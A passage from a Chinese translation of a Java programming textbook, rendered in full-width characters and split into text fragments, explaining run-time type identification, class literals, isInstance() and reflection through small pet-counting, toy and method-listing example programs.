Ｃｌａｓｓ．ｆｏｒＮａｍｅ（＂ｃ１１．ｐｅｔｃｏｕｎｔ．Ｄｏｇ＂）， Ｃｌａｓｓ．ｆｏｒＮａｍｅ（＂ｃ１１．ｐｅｔｃｏｕｎｔ．Ｐｕｇ＂）， Ｃｌａｓｓ．ｆｏｒＮａｍｅ（＂ｃ１１．ｐｅｔｃｏｕｎｔ．Ｃａｔ＂）， Ｃｌａｓｓ．ｆｏｒＮａｍｅ（＂ｃ１１．ｐｅｔｃｏｕｎｔ．Ｒｏｄｅｎｔ＂）， Ｃｌａｓｓ．ｆｏｒＮａｍｅ（＂ｃ１１．ｐｅｔｃｏｕｎｔ．Ｇｅｒｂｉｌ＂）， Ｃｌａｓｓ．ｆｏｒＮａｍｅ（＂ｃ１１．ｐｅｔｃｏｕｎｔ．Ｈａｍｓｔｅｒ＂）， ３３７ ｝； ｆｏｒ（ｉｎｔ ｉ ＝ ０；"},
    {"text": "ｉ＋＋） ｐｅｔｓ．ａｄｄＥｌｅｍｅｎｔ（ ｐｅｔＴｙｐｅｓ［ （ｉｎｔ）（Ｍａｔｈ．ｒａｎｄｏｍ（）＊ｐｅｔＴｙｐｅｓ．ｌｅｎｇｔｈ）］ ．ｎｅｗＩｎｓｔａｎｃｅ（））； ｝ ｃａｔｃｈ（ＩｎｓｔａｎｔｉａｔｉｏｎＥｘｃｅｐｔｉｏｎ ｅ） ｛｝ ｃａｔｃｈ（ＩｌｌｅｇａｌＡｃｃｅｓｓＥｘｃｅｐｔｉｏｎ ｅ） ｛｝ ｃａｔｃｈ（ＣｌａｓｓＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ ｅ） ｛｝ Ｈａｓｈｔａｂｌｅ ｈ ＝ ｎｅｗ Ｈａｓｈｔａｂｌｅ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｔｙｐｅｎａｍｅｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｈ．ｐｕｔ（ｔｙｐｅｎａｍｅｓ［ｉ］， ｎｅｗ Ｃｏｕｎｔｅｒ（））； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｐｅｔｓ．ｓｉｚｅ（）； ｉ＋＋） ｛ Ｏｂｊｅｃｔ ｏ ＝ ｐｅｔｓ．ｅｌｅｍｅｎｔＡｔ（ｉ）； ｉｆ（ｏ ｉｎｓｔａｎｃｅｏｆ Ｐｅｔ） （（Ｃｏｕｎｔｅｒ）ｈ．ｇｅｔ（＂Ｐｅｔ＂））．ｉ＋＋； ｉｆ（ｏ ｉｎｓｔａｎｃｅｏｆ Ｄｏｇ） （（Ｃｏｕｎｔｅｒ）ｈ．ｇｅｔ（＂Ｄｏｇ＂））．ｉ＋＋； ｉｆ（ｏ ｉｎｓｔａｎｃｅｏｆ Ｐｕｇ） （（Ｃｏｕｎｔｅｒ）ｈ．ｇｅｔ（＂Ｐｕｇ＂））．ｉ＋＋； ｉｆ（ｏ ｉｎｓｔａｎｃｅｏｆ Ｃａｔ） （（Ｃｏｕｎｔｅｒ）ｈ．ｇｅｔ（＂Ｃａｔ＂））．ｉ＋＋； ｉｆ（ｏ ｉｎｓｔａｎｃｅｏｆ Ｒｏｄｅｎｔ） （（Ｃｏｕｎｔｅｒ）ｈ．ｇｅｔ（＂Ｒｏｄｅｎｔ＂））．ｉ＋＋； ｉｆ（ｏ ｉｎｓｔａｎｃｅｏｆ Ｇｅｒｂｉｌ） （（Ｃｏｕｎｔｅｒ）ｈ．ｇｅｔ（＂Ｇｅｒｂｉｌ＂））．ｉ＋＋； ｉｆ（ｏ ｉｎｓｔａｎｃｅｏｆ Ｈａｍｓｔｅｒ） （（Ｃｏｕｎｔｅｒ）ｈ．ｇｅｔ（＂Ｈａｍｓｔｅｒ＂））．ｉ＋＋； ｝ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｐｅｔｓ．ｓｉｚｅ（）； ｉ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ｐｅｔｓ．ｅｌｅｍｅｎｔＡｔ（ｉ）．ｇｅｔＣｌａｓｓ（）．ｔｏＳｔｒｉｎｇ（））； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｔｙｐｅｎａｍｅｓ．ｌｅｎｇｔｈ； ｉ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ｔｙｐｅｎａｍｅｓ［ｉ］ ＋ ＂ ｑｕａｎｔｉｔｙ： ＂ ＋ （（Ｃｏｕｎｔｅｒ）ｈ．ｇｅｔ（ｔｙｐｅｎａｍｅｓ［ｉ］））．ｉ）；"},
    {"text": "｝ ｝ ／／／：￣ 在 Ｊａｖａ １．０ 中，对 ｉｎｓｔａｎｃｅｏｆ 有一个比较小的限制：只可将其与一个已命名的类型比较，不能同 Ｃｌａｓｓ 对 象作对比。"},
    {"text": "得到的结果显得更加明确易懂： ／／： ＰｅｔＣｏｕｎｔ２．ｊａｖａ ／／ Ｕｓｉｎｇ Ｊａｖａ １．１ ｃｌａｓｓ ｌｉｔｅｒａｌｓ ３３８ ｐａｃｋａｇｅ ｃ１１．ｐｅｔｃｏｕｎｔ２；"},
    {"text": "ｃｌａｓｓ Ｐｅｔ ｛｝ ｃｌａｓｓ Ｄｏｇ ｅｘｔｅｎｄｓ Ｐｅｔ ｛｝ ｃｌａｓｓ Ｐｕｇ ｅｘｔｅｎｄｓ Ｄｏｇ ｛｝ ｃｌａｓｓ Ｃａｔ ｅｘｔｅｎｄｓ Ｐｅｔ ｛｝ ｃｌａｓｓ Ｒｏｄｅｎｔ ｅｘｔｅｎｄｓ Ｐｅｔ ｛｝ ｃｌａｓｓ Ｇｅｒｂｉｌ ｅｘｔｅｎｄｓ Ｒｏｄｅｎｔ ｛｝ ｃｌａｓｓ Ｈａｍｓｔｅｒ ｅｘｔｅｎｄｓ Ｒｏｄｅｎｔ ｛｝ ｃｌａｓｓ Ｃｏｕｎｔｅｒ ｛ ｉｎｔ ｉ； ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＰｅｔＣｏｕｎｔ２ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｖｅｃｔｏｒ ｐｅｔｓ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； Ｃｌａｓｓ［］ ｐｅｔＴｙｐｅｓ ＝ ｛ ／／ Ｃｌａｓｓ ｌｉｔｅｒａｌｓ ｗｏｒｋ ｉｎ Ｊａｖａ １．１＋ ｏｎｌｙ： Ｐｅｔ．ｃｌａｓｓ， Ｄｏｇ．ｃｌａｓｓ， Ｐｕｇ．ｃｌａｓｓ， Ｃａｔ．ｃｌａｓｓ， Ｒｏｄｅｎｔ．ｃｌａｓｓ， Ｇｅｒｂｉｌ．ｃｌａｓｓ， Ｈａｍｓｔｅｒ．ｃｌａｓｓ， ｝； ｔｒｙ ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０；"},
    {"text": "ｉ＋＋） ｛ ／／ Ｏｆｆｓｅｔ ｂｙ ｏｎｅ ｔｏ ｅｌｉｍｉｎａｔｅ Ｐｅｔ．ｃｌａｓｓ： ｉｎｔ ｒｎｄ ＝ １ ＋ （ｉｎｔ）（ Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ （ｐｅｔＴｙｐｅｓ．ｌｅｎｇｔｈ － １））； ｐｅｔｓ．ａｄｄＥｌｅｍｅｎｔ（ ｐｅｔＴｙｐｅｓ［ｒｎｄ］．ｎｅｗＩｎｓｔａｎｃｅ（））； ｝ ｝ ｃａｔｃｈ（ＩｎｓｔａｎｔｉａｔｉｏｎＥｘｃｅｐｔｉｏｎ ｅ） ｛｝ ｃａｔｃｈ（ＩｌｌｅｇａｌＡｃｃｅｓｓＥｘｃｅｐｔｉｏｎ ｅ） ｛｝ Ｈａｓｈｔａｂｌｅ ｈ ＝ ｎｅｗ Ｈａｓｈｔａｂｌｅ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｐｅｔＴｙｐｅｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｈ．ｐｕｔ（ｐｅｔＴｙｐｅｓ［ｉ］．ｔｏＳｔｒｉｎｇ（）， ｎｅｗ Ｃｏｕｎｔｅｒ（））； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｐｅｔｓ．ｓｉｚｅ（）； ｉ＋＋） ｛ Ｏｂｊｅｃｔ ｏ ＝ ｐｅｔｓ．ｅｌｅｍｅｎｔＡｔ（ｉ）； ｉｆ（ｏ ｉｎｓｔａｎｃｅｏｆ Ｐｅｔ） （（Ｃｏｕｎｔｅｒ）ｈ．ｇｅｔ（ ＂ｃｌａｓｓ ｃ１１．ｐｅｔｃｏｕｎｔ２．Ｐｅｔ＂））．ｉ＋＋； ｉｆ（ｏ ｉｎｓｔａｎｃｅｏｆ Ｄｏｇ） （（Ｃｏｕｎｔｅｒ）ｈ．ｇｅｔ（ ＂ｃｌａｓｓ ｃ１１．ｐｅｔｃｏｕｎｔ２．Ｄｏｇ＂））．ｉ＋＋； ｉｆ（ｏ ｉｎｓｔａｎｃｅｏｆ Ｐｕｇ） （（Ｃｏｕｎｔｅｒ）ｈ．ｇｅｔ（ ＂ｃｌａｓｓ ｃ１１．ｐｅｔｃｏｕｎｔ２．Ｐｕｇ＂））．ｉ＋＋； ｉｆ（ｏ ｉｎｓｔａｎｃｅｏｆ Ｃａｔ） ３３９ （（Ｃｏｕｎｔｅｒ）ｈ．ｇｅｔ（ ＂ｃｌａｓｓ ｃ１１．ｐｅｔｃｏｕｎｔ２．Ｃａｔ＂））．ｉ＋＋； ｉｆ（ｏ ｉｎｓｔａｎｃｅｏｆ Ｒｏｄｅｎｔ） （（Ｃｏｕｎｔｅｒ）ｈ．ｇｅｔ（ ＂ｃｌａｓｓ ｃ１１．ｐｅｔｃｏｕｎｔ２．Ｒｏｄｅｎｔ＂））．ｉ＋＋； ｉｆ（ｏ ｉｎｓｔａｎｃｅｏｆ Ｇｅｒｂｉｌ） （（Ｃｏｕｎｔｅｒ）ｈ．ｇｅｔ（ ＂ｃｌａｓｓ ｃ１１．ｐｅｔｃｏｕｎｔ２．Ｇｅｒｂｉｌ＂））．ｉ＋＋； ｉｆ（ｏ ｉｎｓｔａｎｃｅｏｆ Ｈａｍｓｔｅｒ） （（Ｃｏｕｎｔｅｒ）ｈ．ｇｅｔ（ ＂ｃｌａｓｓ ｃ１１．ｐｅｔｃｏｕｎｔ２．Ｈａｍｓｔｅｒ＂））．ｉ＋＋； ｝ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｐｅｔｓ．ｓｉｚｅ（）； ｉ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ｐｅｔｓ．ｅｌｅｍｅｎｔＡｔ（ｉ）．ｇｅｔＣｌａｓｓ（）．ｔｏＳｔｒｉｎｇ（））； Ｅｎｕｍｅｒａｔｉｏｎ ｋｅｙｓ ＝ ｈ．ｋｅｙｓ（）； ｗｈｉｌｅ（ｋｅｙｓ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ｛ Ｓｔｒｉｎｇ ｎｍ ＝ （Ｓｔｒｉｎｇ）ｋｅｙｓ．ｎｅｘｔＥｌｅｍｅｎｔ（）； Ｃｏｕｎｔｅｒ ｃｎｔ ＝ （Ｃｏｕｎｔｅｒ）ｈ．ｇｅｔ（ｎｍ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ｎｍ．ｓｕｂｓｔｒｉｎｇ（ｎｍ．ｌａｓｔＩｎｄｅｘＯｆ（＇．＇） ＋ １） ＋ ＂ ｑｕａｎｔｉｔｙ： ＂ ＋ ｃｎｔ．ｉ）；"},
    {"text": "也可以看到，ｐｅｔＴｙｐｅｓ 的创建模块不需要用一个 ｔｒｙ 块包围起来，因为它会在编译期得到检查，不会象 Ｃｌａｓｓ．ｆｏｒＮａｍｅ（）那样“掷”出任何违例。"},
    {"text": "２． 动态的 ｉｎｓｔａｎｃｅｏｆ Ｊａｖａ １．１ 为 Ｃｌａｓｓ 类添加了 ｉｓＩｎｓｔａｎｃｅ 方法。 利用它可以动态调用 ｉｎｓｔａｎｃｅｏｆ 运算符。"},
    {"text": "如下所示： ／／： ＰｅｔＣｏｕｎｔ３．ｊａｖａ ／／ Ｕｓｉｎｇ Ｊａｖａ １．１ ｉｓＩｎｓｔａｎｃｅ（） ｐａｃｋａｇｅ ｃ１１．ｐｅｔｃｏｕｎｔ３；"},
    {"text": "ｃｌａｓｓ Ｐｅｔ ｛｝ ｃｌａｓｓ Ｄｏｇ ｅｘｔｅｎｄｓ Ｐｅｔ ｛｝ ｃｌａｓｓ Ｐｕｇ ｅｘｔｅｎｄｓ Ｄｏｇ ｛｝ ｃｌａｓｓ Ｃａｔ ｅｘｔｅｎｄｓ Ｐｅｔ ｛｝ ｃｌａｓｓ Ｒｏｄｅｎｔ ｅｘｔｅｎｄｓ Ｐｅｔ ｛｝ ｃｌａｓｓ Ｇｅｒｂｉｌ ｅｘｔｅｎｄｓ Ｒｏｄｅｎｔ ｛｝ ｃｌａｓｓ Ｈａｍｓｔｅｒ ｅｘｔｅｎｄｓ Ｒｏｄｅｎｔ ｛｝ ３４０ ｃｌａｓｓ Ｃｏｕｎｔｅｒ ｛ ｉｎｔ ｉ； ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＰｅｔＣｏｕｎｔ３ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｖｅｃｔｏｒ ｐｅｔｓ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； Ｃｌａｓｓ［］ ｐｅｔＴｙｐｅｓ ＝ ｛ Ｐｅｔ．ｃｌａｓｓ， Ｄｏｇ．ｃｌａｓｓ， Ｐｕｇ．ｃｌａｓｓ， Ｃａｔ．ｃｌａｓｓ， Ｒｏｄｅｎｔ．ｃｌａｓｓ， Ｇｅｒｂｉｌ．ｃｌａｓｓ， Ｈａｍｓｔｅｒ．ｃｌａｓｓ， ｝； ｔｒｙ ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０；"},
    {"text": "ｉ＋＋） ｛ ／／ Ｏｆｆｓｅｔ ｂｙ ｏｎｅ ｔｏ ｅｌｉｍｉｎａｔｅ Ｐｅｔ．ｃｌａｓｓ： ｉｎｔ ｒｎｄ ＝ １ ＋ （ｉｎｔ）（ Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ （ｐｅｔＴｙｐｅｓ．ｌｅｎｇｔｈ － １））； ｐｅｔｓ．ａｄｄＥｌｅｍｅｎｔ（ ｐｅｔＴｙｐｅｓ［ｒｎｄ］．ｎｅｗＩｎｓｔａｎｃｅ（））； ｝ ｝ ｃａｔｃｈ（ＩｎｓｔａｎｔｉａｔｉｏｎＥｘｃｅｐｔｉｏｎ ｅ） ｛｝ ｃａｔｃｈ（ＩｌｌｅｇａｌＡｃｃｅｓｓＥｘｃｅｐｔｉｏｎ ｅ） ｛｝ Ｈａｓｈｔａｂｌｅ ｈ ＝ ｎｅｗ Ｈａｓｈｔａｂｌｅ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｐｅｔＴｙｐｅｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｈ．ｐｕｔ（ｐｅｔＴｙｐｅｓ［ｉ］．ｔｏＳｔｒｉｎｇ（）， ｎｅｗ Ｃｏｕｎｔｅｒ（））； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｐｅｔｓ．ｓｉｚｅ（）； ｉ＋＋） ｛ Ｏｂｊｅｃｔ ｏ ＝ ｐｅｔｓ．ｅｌｅｍｅｎｔＡｔ（ｉ）； ／／ Ｕｓｉｎｇ ｉｓＩｎｓｔａｎｃｅ ｔｏ ｅｌｉｍｉｎａｔｅ ｉｎｄｉｖｉｄｕａｌ ／／ ｉｎｓｔａｎｃｅｏｆ ｅｘｐｒｅｓｓｉｏｎｓ： ｆｏｒ （ｉｎｔ ｊ ＝ ０； ｊ ＜ ｐｅｔＴｙｐｅｓ．ｌｅｎｇｔｈ； ＋＋ｊ） ｉｆ （ｐｅｔＴｙｐｅｓ［ｊ］．ｉｓＩｎｓｔａｎｃｅ（ｏ）） ｛ Ｓｔｒｉｎｇ ｋｅｙ ＝ ｐｅｔＴｙｐｅｓ［ｊ］．ｔｏＳｔｒｉｎｇ（）； （（Ｃｏｕｎｔｅｒ）ｈ．ｇｅｔ（ｋｅｙ））．ｉ＋＋； ｝ ｝ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｐｅｔｓ．ｓｉｚｅ（）； ｉ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ｐｅｔｓ．ｅｌｅｍｅｎｔＡｔ（ｉ）．ｇｅｔＣｌａｓｓ（）．ｔｏＳｔｒｉｎｇ（））； Ｅｎｕｍｅｒａｔｉｏｎ ｋｅｙｓ ＝ ｈ．ｋｅｙｓ（）； ｗｈｉｌｅ（ｋｅｙｓ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ｛ Ｓｔｒｉｎｇ ｎｍ ＝ （Ｓｔｒｉｎｇ）ｋｅｙｓ．ｎｅｘｔＥｌｅｍｅｎｔ（）； Ｃｏｕｎｔｅｒ ｃｎｔ ＝ （Ｃｏｕｎｔｅｒ）ｈ．ｇｅｔ（ｎｍ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ｎｍ．ｓｕｂｓｔｒｉｎｇ（ｎｍ．ｌａｓｔＩｎｄｅｘＯｆ（＇．＇） ＋ １） ＋ ＂ ｑｕａｎｔｉｔｙ： ＂ ＋ ｃｎｔ．ｉ）；"},
    {"text": "然而，对于自 己感兴趣的类型，如果已有了它的一个对象，那么为了取得 Ｃｌａｓｓ 句柄，可调用属于 Ｏｂｊｅｃｔ 根类一部分的一 个方法：ｇｅｔＣｌａｓｓ（）。 它的作用是返回一个特定的 Ｃｌａｓｓ 句柄，用来表示对象的实际类型。"},
    {"text": "Ｃｌａｓｓ 提供了几 个有趣且较为有用的方法，从下例即可看出： ／／： ＴｏｙＴｅｓｔ．ｊａｖａ ／／ Ｔｅｓｔｉｎｇ ｃｌａｓｓ Ｃｌａｓｓ ｉｎｔｅｒｆａｃｅ ＨａｓＢａｔｔｅｒｉｅｓ ｛｝ ｉｎｔｅｒｆａｃｅ Ｗａｔｅｒｐｒｏｏｆ ｛｝ ｉｎｔｅｒｆａｃｅ ＳｈｏｏｔｓＴｈｉｎｇｓ ｛｝ ｃｌａｓｓ Ｔｏｙ ｛ ／／ Ｃｏｍｍｅｎｔ ｏｕｔ ｔｈｅ ｆｏｌｌｏｗｉｎｇ ｄｅｆａｕｌｔ ／／ ｃｏｎｓｔｒｕｃｔｏｒ ｔｏ ｓｅｅ ／／ ＮｏＳｕｃｈＭｅｔｈｏｄＥｒｒｏｒ ｆｒｏｍ （＊１＊） Ｔｏｙ（） ｛｝ Ｔｏｙ（ｉｎｔ ｉ） ｛｝ ｝ ｃｌａｓｓ ＦａｎｃｙＴｏｙ ｅｘｔｅｎｄｓ Ｔｏｙ ｉｍｐｌｅｍｅｎｔｓ ＨａｓＢａｔｔｅｒｉｅｓ， Ｗａｔｅｒｐｒｏｏｆ， ＳｈｏｏｔｓＴｈｉｎｇｓ ｛ ＦａｎｃｙＴｏｙ（） ｛ ｓｕｐｅｒ（１）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＴｏｙＴｅｓｔ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｃｌａｓｓ ｃ ＝ ｎｕｌｌ； ｔｒｙ ｛ ｃ ＝ Ｃｌａｓｓ．ｆｏｒＮａｍｅ（＂ＦａｎｃｙＴｏｙ＂）； ｝ ｃａｔｃｈ（ＣｌａｓｓＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ ｅ） ｛｝ ｐｒｉｎｔＩｎｆｏ（ｃ）； Ｃｌａｓｓ［］ ｆａｃｅｓ ＝ ｃ．ｇｅｔＩｎｔｅｒｆａｃｅｓ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｆａｃｅｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｐｒｉｎｔＩｎｆｏ（ｆａｃｅｓ［ｉ］）； Ｃｌａｓｓ ｃｙ ＝ ｃ．ｇｅｔＳｕｐｅｒｃｌａｓｓ（）； Ｏｂｊｅｃｔ ｏ ＝ ｎｕｌｌ； ｔｒｙ ｛ ／／ Ｒｅｑｕｉｒｅｓ ｄｅｆａｕｌｔ ｃｏｎｓｔｒｕｃｔｏｒ： ｏ ＝ ｃｙ．ｎｅｗＩｎｓｔａｎｃｅ（）； ／／ （＊１＊） ｝ ｃａｔｃｈ（ＩｎｓｔａｎｔｉａｔｉｏｎＥｘｃｅｐｔｉｏｎ ｅ） ｛｝ ｃａｔｃｈ（ＩｌｌｅｇａｌＡｃｃｅｓｓＥｘｃｅｐｔｉｏｎ ｅ） ｛｝ ３４２ ｐｒｉｎｔＩｎｆｏ（ｏ．ｇｅｔＣｌａｓｓ（））； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｉｎｔＩｎｆｏ（Ｃｌａｓｓ ｃｃ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｃｌａｓｓ ｎａｍｅ： ＂ ＋ ｃｃ．ｇｅｔＮａｍｅ（） ＋ ＂ ｉｓ ｉｎｔｅｒｆａｃｅ？ ［＂ ＋ ｃｃ．ｉｓＩｎｔｅｒｆａｃｅ（） ＋ ＂］＂）；"},
    {"text": "｝ ｝ ／／／：￣ 从中可以看出，ｃｌａｓｓ ＦａｎｃｙＴｏｙ 相当复杂，因为它从 Ｔｏｙ 中继承，并实现了 ＨａｓＢａｔｔｅｒｉｅｓ，Ｗａｔｅｒｐｒｏｏｆ 以 及 ＳｈｏｏｔｓＴｈｉｎｇｓ 的接口。"},
    {"text": "除此以外，用 ｎｅｗＩｎｓｔａｎｃｅ（）创建的类必须有一个默认构建器。 没有办法用 ｎｅｗＩｎｓｔａｎｃｅ（）创建拥有非默认构建器的对象，所以在 Ｊａｖａ １．０ 中可能存在一些限制。"},
    {"text": "程序中的最后一个方法是 ｐｒｉｎｔＩｎｆｏ（），它取得一个 Ｃｌａｓｓ 句柄，通过 ｇｅｔＮａｍｅ（）获得它的名字，并用 ｉｎｔｅｒｆａｃｅ（）调查它是不是一个接口。"},
    {"text": "［ｆａｌｓｅ］ Ｃｌａｓｓ ｎａｍｅ： ＨａｓＢａｔｔｅｒｉｅｓ ｉｓ ｉｎｔｅｒｆａｃｅ？ ［ｔｒｕｅ］ Ｃｌａｓｓ ｎａｍｅ： Ｗａｔｅｒｐｒｏｏｆ ｉｓ ｉｎｔｅｒｆａｃｅ？ ［ｔｒｕｅ］ Ｃｌａｓｓ ｎａｍｅ： ＳｈｏｏｔｓＴｈｉｎｇｓ ｉｓ ｉｎｔｅｒｆａｃｅ？ ［ｔｒｕｅ］ Ｃｌａｓｓ ｎａｍｅ： Ｔｏｙ ｉｓ ｉｎｔｅｒｆａｃｅ？"},
    {"text": "但却有一个限制：类型必须是在编译期间已知的， 否则就不能用 ＲＴＴＩ 调查它，进而无法展开下一步的工作。 换言之，编译器必须明确知道 ＲＴＴＩ 要处理的所有 类。"},
    {"text": "此外，用于控制 ＧＵＩ 事件的 ３４３ 组件必须揭示出与相应的方法有关的信息，以便 ＲＡＤ 环境帮助程序员用自己的代码覆盖这些由事件驱动的方 法。"},
    {"text": "这种对象的分布可能 是由多方面的原因引起的：可能要做一件计算密集型的工作，想对它进行分割，让处于空闲状态的其他机器 分担部分工作，从而加快处理进度。"},
    {"text": "某些情况下，可能需要将用于控制特定类型任务（比如多层客户／服务 器架构中的“运作规则”）的代码放置在一台特殊的机器上，使这台机器成为对那些行动进行描述的一个通 用储藏所。"},
    {"text": "而且可以方便地修改这个场所，使其对系统内的所有方面产生影响（这是一种特别有用的设计思 路，因为机器是独立存在的，所以能轻易修改软件！"},
    {"text": "分布式计算也能更充分地发挥某些专用硬件的作 用，它们特别擅长执行一些特定的任务——例如矩阵逆转——但对常规编程来说却显得太夸张或者太昂贵 了。"},
    {"text": "针对 Ｆｉｅｌｄ， Ｍｅｔｈｏｄ 以及 Ｃｏｎｓｔｒｕｃｔｏｒ 类（每个都实现了 Ｍｅｍｂｅｒｉｎｔｅｒｆａｃｅ——成员接口），它们都新增了一个库： ｊａｖａ．ｌａｎｇ．ｒｅｆｌｅｃｔ。"},
    {"text": "这样便可用 构建器创建新对象，用 ｇｅｔ（）和 ｓｅｔ（）方法读取和修改与 Ｆｉｅｌｄ 对象关联的字段，以及用 ｉｎｖｏｋｅ（）方法调用 与 Ｍｅｔｈｏｄ 对象关联的方法。 此外，我们可调用方法 ｇｅｔＦｉｅｌｄｓ（），ｇｅｔＭｅｔｈｏｄｓ（），ｇｅｔＣｏｎｓｔｒｕｃｔｏｒｓ（），分 别返回用于表示字段、方法以及构建器的对象数组（在联机文档中，还可找到与 Ｃｌａｓｓ 类有关的更多的资 料）。"},
    {"text": "之所以在语言中提供它们，仅仅是为了支持其他 Ｊａｖａ 特性，比如对象序列化 （第 １０ 章介绍）、Ｊａｖａ Ｂｅａｎｓ 以及 ＲＭＩ（本章后面介绍）。"},
    {"text": "下面便是具体的程序： ／／： ＳｈｏｗＭｅｔｈｏｄｓ．ｊａｖａ ／／ Ｕｓｉｎｇ Ｊａｖａ １．１ ｒｅｆｌｅｃｔｉｏｎ ｔｏ ｓｈｏｗ ａｌｌ ｔｈｅ ／／ ｍｅｔｈｏｄｓ ｏｆ ａ ｃｌａｓｓ， ｅｖｅｎ ｉｆ ｔｈｅ ｍｅｔｈｏｄｓ ａｒｅ ／／ ｄｅｆｉｎｅｄ ｉｎ ｔｈｅ ｂａｓｅ ｃｌａｓｓ． ｉｍｐｏｒｔ ｊａｖａ．ｌａｎｇ．ｒｅｆｌｅｃｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＳｈｏｗＭｅｔｈｏｄｓ ｛ ｓｔａｔｉｃ ｆｉｎａｌ Ｓｔｒｉｎｇ ｕｓａｇｅ ＝ ＂ｕｓａｇｅ： ＼ｎ＂ ＋ ＂ＳｈｏｗＭｅｔｈｏｄｓ ｑｕａｌｉｆｉｅｄ．ｃｌａｓｓ．ｎａｍｅ＼ｎ＂ ＋ ＂Ｔｏ ｓｈｏｗ ａｌｌ ｍｅｔｈｏｄｓ ｉｎ ｃｌａｓｓ ｏｒ： ＼ｎ＂ ＋ ＂ＳｈｏｗＭｅｔｈｏｄｓ ｑｕａｌｉｆｉｅｄ．ｃｌａｓｓ．ｎａｍｅ ｗｏｒｄ＼ｎ＂ ＋ ＂Ｔｏ ｓｅａｒｃｈ ｆｏｒ ｍｅｔｈｏｄｓ ｉｎｖｏｌｖｉｎｇ ＇ｗｏｒｄ＇＂； ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＜ １） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｕｓａｇｅ）；"},
    {"text": "Ｓｙｓｔｅｍ．ｅｘｉｔ（０）； ｝ ｔｒｙ ｛ ３４４ Ｃｌａｓｓ ｃ ＝ Ｃｌａｓｓ．ｆｏｒＮａｍｅ（ａｒｇｓ［０］）； Ｍｅｔｈｏｄ［］ ｍ ＝ ｃ．ｇｅｔＭｅｔｈｏｄｓ（）； Ｃｏｎｓｔｒｕｃｔｏｒ［］ ｃｔｏｒ ＝ ｃ．ｇｅｔＣｏｎｓｔｒｕｃｔｏｒｓ（）； ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＝＝ １） ｛ ｆｏｒ （ｉｎｔ ｉ ＝ ０； ｉ ＜ ｍ．ｌｅｎｇｔｈ； ｉ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｍ［ｉ］．ｔｏＳｔｒｉｎｇ（））； ｆｏｒ （ｉｎｔ ｉ ＝ ０； ｉ ＜ ｃｔｏｒ．ｌｅｎｇｔｈ； ｉ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｃｔｏｒ［ｉ］．ｔｏＳｔｒｉｎｇ（））； ｝ ｅｌｓｅ ｛ ｆｏｒ （ｉｎｔ ｉ ＝ ０； ｉ ＜ ｍ．ｌｅｎｇｔｈ； ｉ＋＋） ｉｆ（ｍ［ｉ］．ｔｏＳｔｒｉｎｇ（） ．ｉｎｄｅｘＯｆ（ａｒｇｓ［１］）！ ＝ －１） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｍ［ｉ］．ｔｏＳｔｒｉｎｇ（））； ｆｏｒ （ｉｎｔ ｉ ＝ ０； ｉ ＜ ｃｔｏｒ．ｌｅｎｇｔｈ； ｉ＋＋） ｉｆ（ｃｔｏｒ［ｉ］．ｔｏＳｔｒｉｎｇ（） 